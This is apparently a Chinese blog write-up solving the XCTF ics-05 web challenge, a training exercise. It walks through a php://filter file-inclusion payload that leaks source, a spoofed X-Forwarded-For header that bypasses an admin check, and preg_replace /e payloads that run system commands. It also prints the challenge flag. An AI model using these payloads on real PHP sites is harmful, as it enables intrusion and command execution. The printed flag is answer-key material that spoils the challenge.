当前位置:网站首页>xctf攻防世界 Web高手进阶区 ics-05

xctf攻防世界 Web高手进阶区 ics-05

2022-08-09 21:54:00 l8947943

0x01. 进入环境,查看内容

如图:
在这里插入图片描述

给了一张乱七八糟的图,只有设备维护中心可以点击,如图:

在这里插入图片描述
看不出什么内容,再次点击云平台设备维护中心,发现url有猫腻,如图:

在这里插入图片描述
emmm,看到此处,显示了一个index,猜测page肯定是重点。

0x02. 问题分析

0x02_1. php伪协议

什么是php伪协议?这里我参考大佬总结博客:
PHP伪协议详解

page参数一般是文件包含,利用php伪协议读出源码并把它base64编码输出(要不然就直接在网页上执行看不到源码了),这里的命令是:

/index.php?page=php://filter/read=convert.base64-encode/resource=index.php

前端返回结果如图:
在这里插入图片描述
明显的base64编码,丢入base64解码,得到一个php解码文件,如图:
在这里插入图片描述
我们将代码拷出来,进行后续的分析。

0x02_2. 代码分析

截取部分有用代码进行分析,如下:

<?php
$page = $_GET[page];  		# 拿到url中传递的 page参数
if (isset($page)) {
       		# 要求拿到的page参数不为空

if (ctype_alnum($page)) {
       # ctype_alnum检查$page是否都是字母数字,若都是字母数字则返回ture
?>

    <br /><br /><br /><br />
    <div style="text-align:center">
        <p class="lead"><?php echo $page; die();?></p> # 显示page内容
    <br /><br /><br /><br />

<?php

}else{
    

?>
        <br /><br /><br /><br />
        <div style="text-align:center">
            <p class="lead">
                <?php

                if (strpos($page, 'input') > 0) {
     #返回input在$page中出现的第一个匹配的位置,若未找到返回flase
                    die();
                }

                if (strpos($page, 'ta:text') > 0) {
    
                    die();
                }

                if (strpos($page, 'text') > 0) {
    
                    die();
                }

                if ($page === 'index.php') {
     # #返回index.php在$page中出现的第一个匹配的位置,若未找到返回flase
                    die('Ok');
                }
                    include($page);
                    die();
                ?>
        </p>
        <br /><br /><br /><br />
<?php
}}


//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试

# 此段代码表示,提交过来的参数携带X_FORWARDED_FOR=127.0.0.1,则执行如下代码
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
     
    echo "<br >Welcome My Admin ! <br >";
    # 参数中包含pat参数,rep参数,sub参数
    $pattern = $_GET[pat];
    $replacement = $_GET[rep];
    $subject = $_GET[sub];
	# 要求pat、rep、sub参数都不为空
    if (isset($pattern) && isset($replacement) && isset($subject)) {
    
    	# 调用preg_replace( mixed $pattern , mixed $replacement , mixed $subject)函数,其中
    	# $pattern: 要搜索的模式,可以是字符串或一个字符串数组。
    	# $replacement: 用于替换的字符串或字符串数组。
    	# $subject: 要搜索替换的目标字符串或字符串数组。
    	# 注意,pattern后添加/e 修正符,则会使 preg_replace() 将 replacement 参数当作 PHP 代码。
    	# 提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含preg_replace() 的行中出现语法解析错误。
        preg_replace($pattern, $replacement, $subject);
    }else{
    
        die();
    }
}
?>
</body>
</html>

0x02_3. 构造payload

在burpsuite中添加x-forwarded-for: 127.0.0.1,如图,得到Welcome My Admin !
在这里插入图片描述
接着构造pat等参数,payload如下:

/index.php?pat=/123/e&rep=system('ls')&sub=123

在这里插入图片描述
发现有s3chahahaDir文件,构造payload如下:

/index.php?pat=/123/e&rep=system('ls+s3chahahaDir')&sub=123

返回结果如图:
在这里插入图片描述
发现有个flag文件夹,那么我们继续查看,构造payload:

/index.php?pat=/123/e&rep=system('ls+s3chahahaDir/flag')&sub=123

返回结果如图:
在这里插入图片描述
出现了一个flag.php文件,继续构造payload如下:

/index.php?pat=/123/e&rep=system('cat+s3chahahaDir/flag/flag.php')&sub=123

返回结果如图:
在这里插入图片描述

0x02_4. 得到最终答案

最终答案为: cyberpeace{0002b4d7b2d0858ebb6e13df4b966bd2}

0x03. 总结

这个题目后面不难,最难的是一开始使用php伪协议,其次是php代码审计。这儿是知识盲区,慢慢积累吧

原网站

版权声明
本文为[l8947943]所创,转载请带上原文链接,感谢
https://blog.csdn.net/l8947943/article/details/126240947